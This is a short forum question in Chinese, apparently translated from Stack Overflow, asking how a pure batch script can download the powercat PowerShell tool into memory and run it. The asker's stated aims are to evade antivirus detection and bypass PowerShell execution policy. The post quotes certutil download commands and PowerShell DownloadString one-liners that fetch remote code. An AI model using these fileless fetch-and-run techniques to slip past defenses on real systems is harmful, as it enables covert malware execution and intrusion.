【发布时间】:2020-06-03 04:08:36
【问题描述】:
在我的批处理脚本中,我正在尝试远程下载并执行一个 powershell 脚本。这是网址:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
我想将文件下载到内存中(不接触磁盘),有几个原因:
- 它绕过了 AV 检测
- 它绕过了 Powershell 执行策略,因此不需要导致 AV 检测的
powershell -nop -ep bypass - 不会抛出不必要的语法错误
- 您可以直接使用 .ps1 脚本中定义的函数
显然我可以使用certutil:
certutil -urlcache -split -f <url>
但我不希望文件进入磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)也可以轻松完成同样的事情:
(New-Object Net.WebClient).DownloadString($url)
或
(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
我知道批处理不是执行此操作的最佳语言,但这可能吗? (我想要纯批次)
【问题讨论】:
-
我不是这个意思。
-
@OwainEsau 请告诉我该链接与将下载内容加载到内存中有何关系?
标签: powershell batch-file cmd